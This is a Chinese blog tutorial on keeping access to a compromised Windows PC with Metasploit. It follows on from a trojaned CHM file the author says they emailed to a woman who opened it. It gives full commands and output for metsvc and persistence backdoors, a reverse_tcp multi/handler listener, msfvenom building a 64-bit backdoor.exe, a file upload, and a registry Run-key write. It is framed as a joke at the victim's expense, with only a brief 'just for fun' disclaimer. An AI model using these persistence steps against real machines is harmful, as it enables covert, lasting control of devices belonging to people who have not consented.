0x00 前言
继上篇文章《制作CHM文件后门》,成功制作了一份具有欺骗性的CHM帮助文件,并通过邮件发送给了女神。女神居然2话不说就点击查看了,因此一个联向女神电脑的Meterpreter会话成功Get。坏笑>
对于一般的渗透流程来说,当GetShell后,首先想到的肯定是留下后门,以便后续能持续化进行控制。
可是,后门如何制作?如何使后门能正确工作?对于新手来说,这也是一个不小的挑战。
我们既然使用Metaspliot平台,其号称渗透界神器,此等小事,肯定不在话下。
因此,我们来见识下Metaspliot在获取到Meterpreter会话后如何留下后门,进行控制持久化。
0x01 Meterpreter控制持久化
Meterpreter提供2种方式的后门,一种是通过服务启动(metsvc),一种是通过启动项启动(persistence)。
通过服务(metsvc)启动的方式,其优点便是命令简单方便。使用此方式的后门不进行反弹回连,因此不必设置太多参数。该后门在目标机器启动后自启动一个”服务器”来等待黑阔连接,因此黑阔可以随时随地通过该后门进入目标机器,十分简单方便。当然,其缺点也十分明显。当其他黑阔使用扫描软件扫出该”服务器”的存在时,任何人便可以通过该后门直达目标机器内部。毫无安全性可言。
通过启动项启动(persistence)的方式,其缺点便是参数较为复杂,当设置某项参数后,很有可能因为权限问题导致该设置项并未生效,并且无错误回显,导致持续化控制可能失败,功败垂成。当然,其优点也可圈可点。该方式是在目标机器上以反弹回连方式来连接黑阔的”服务器”,目标机器上的防火墙对于此等操作一般均会放行,因此后门的存活率较高,黑阔只需坐等羔羊送上门来。
0x03 Meterpreter持续化控制命令
使用metsvc生成后门命令十分简单:
meterpreter > run metsvc
[*] Creating a meterpreter service on port 31337
[*] Creating a temporary installation directory C:\Users\Arche\AppData\Local\Temp\nKTNwwJaSWG...
[*] >> Uploading metsrv.x86.dll...
[*] >> Uploading metsvc-server.exe...
[*] >> Uploading metsvc.exe...
[*] Starting the service...
* Installing service metsvc
* Starting service
Service metsvc successfully installed.
meterpreter >
这里,我们主要以persistence方式为主。首先,我们查看下persistence的帮助信息
[!] Meterpreter scripts are deprecated. Try post/windows/manage/persistence_exe.
[!] Example: run post/windows/manage/persistence_exe OPTION=value [...]
可以看出要使用新的脚本,举个例子
run post/windows/manage/persistence_exe REXENAME=cmd.exe REXEPATH=/root/backdoor/miao.exe STARTUP=USER
meterpreter > run persistence -h
Meterpreter Script for creating a persistent backdoor on a target host.
OPTIONS:
-A Automatically start a matching exploit /multi/handler to connect to the agent
-L Location in target host to write payload to, if none %TEMP% will be used.
-P Payload to use, default is windows/meterpreter/reverse_tcp.
-S Automatically start the agent on boot as a service (with SYSTEM privileges)
-T Alternate executable template to use
-U Automatically start the agent when the User logs on
-X Automatically start the agent when the system boots
-h This help menu
-i The interval
in
seconds between each connection attempt
-p The port on which the system running Metasploit is listening
-r The IP of the system running Metasploit listening for the connect back
meterpreter >
此处,几个比较重要的参数为
-P:设置Payload,默认为windows/meterpreter/reverse_tcp。该默认的payload生成的后门为32位程序。因此,当目标机器为64位系统时,留下的后门将无法运行
-U:设置后门在用户登录后自启动。该方式会在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息。推荐使用该参数
-X:设置后门在系统启动后自启动。该方式会在HKLM\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息。由于权限问题,会导致添加失败,后门将无法启动。因此,在非管理员权限或者未进行BypassUAC操作情况下,不推荐使用该参数。
-i:设置反向连接间隔时间,单位为秒。当设置该参数后,目标机器会每隔设置的时间回连一次所设置的ip
-p:设置反向连接的端口号。即黑阔用来等待连接的端口
-r:设置反向连接的ip地址。即黑阔用来等待连接的ip
因此,一个完整的命令为:
meterpreter > run persistence -U -i 10 -p 6666 -r 192.168.4.95
[!] Meterpreter scripts are deprecated. Try post/windows/manage/persistence_exe.
[!] Example: run post/windows/manage/persistence_exe OPTION=value [...]
[*] Running Persistence Script
[*] Resource file for cleanup created at /root/.msf4/logs/persistence/ROTK-PC_20171031.2840/ROTK-PC_20171031.2840.rc
[*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=192.168.4.95 LPORT=6666
[*] Persistent agent script is 99654 bytes long
[+] Persistent Script written to C:\Users\ROTK\AppData\Local\Temp\wNjaOZQi.vbs
[*] Executing script C:\Users\ROTK\AppData\Local\Temp\wNjaOZQi.vbs
[+] Agent executed with PID 2564
[*] Installing into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\EnKZjOUJ
[+] Installed into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\EnKZjOUJ
meterpreter >
0x04 连接后门
当后门留好后,我们需要设置监听来等待后门被触发,以致反弹连接我们的”服务器”
msf > use exploit /multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.17.131
LHOST => 192.168.17.131
msf exploit(handler) > set LPORT 6666
LPORT => 6666
msf exploit(handler) > exploit
[*] Started reverse TCP handler on 192.168.17.131:6666
[*] Starting the payload handler...
[*] Sending stage (1188911 bytes) to 192.168.17.137
[*] Meterpreter session 1 opened (192.168.17.131:6666 -> 192.168.17.137:61273) at 2016-08-31 10:49:34 -0400
meterpreter >
此时,当用户触发后门时,可以看到,一个meterpreter又建立了。
0x05 64位系统的后门制作
如果是32位系统,按照前面的流程,此时后门已经部署完成了。
但是,如果是64位的系统,你会发现,后门已经成功部署了,但却无法正常启动。
这时,需要生成一个64位的后门
root@kali:~
msfvenom -p windows/x64/meterpreter/reverse_tcp -f exe -o ~/backdoor.exe lhost=192.168.17.131 lport=6666
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86_64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 510 bytes
Saved as:
/root/backdoor
.exe
root@kali:~
这时,在你~/目录下,会生成一个以payload为windows/x64/meterpreter/reverse_tcp的后门。该后门可在64位系统上正常运行。
那么,后门已经有了。如何部署到目标机器上呢?
其实,我们可以看到,在run persistence脚本时,其主要的工作是上传后门到目标机器,而后再写自启动注册表。仅此2步,何不手动为之?
上传文件:
1
2
3
meterpreter > upload
/root/backdoor
.exe c:\
users
\arche\AppData\
local
\backdoor.exe
[*] uploading :
/root/backdoor
.exe -> c:
users
\arche\AppData
local
\backdoor.exe
[*] uploaded :
/root/backdoor
.exe -> c:
users
\arche\AppData
local
\backdoor.exe
写注册表:
1
2
3
meterpreter > reg setval -k HKCU\Software\Microsoft\Windows\CurrentVersion\Run -
v
backdoor -d c:\
users
\arche\AppData\
local
\backdoor.exe
Successfully
set
backdoor of REG_SZ.
meterpreter >
这时,64位系统的后门也已经部署完成!
0x06 后话
使用CHM加metasploit很容易制作木马并持续化进行控制,但工具的带来的简便切不可用来为非作歹。这儿仅仅是为了学习与好玩而已,恰如Linus大神所说的”Just for fun”
话说,一般用户电脑上只要装有杀毒软件,metasploit生成的后门都会被干掉啦。所以上述内容几乎都是废话啊哈哈哈哈哈哈哈哈哈哈哈哈哈哈。女神的电脑上居然装了qx电脑管家、3×0安全卫士、迈克菲杀毒。。。。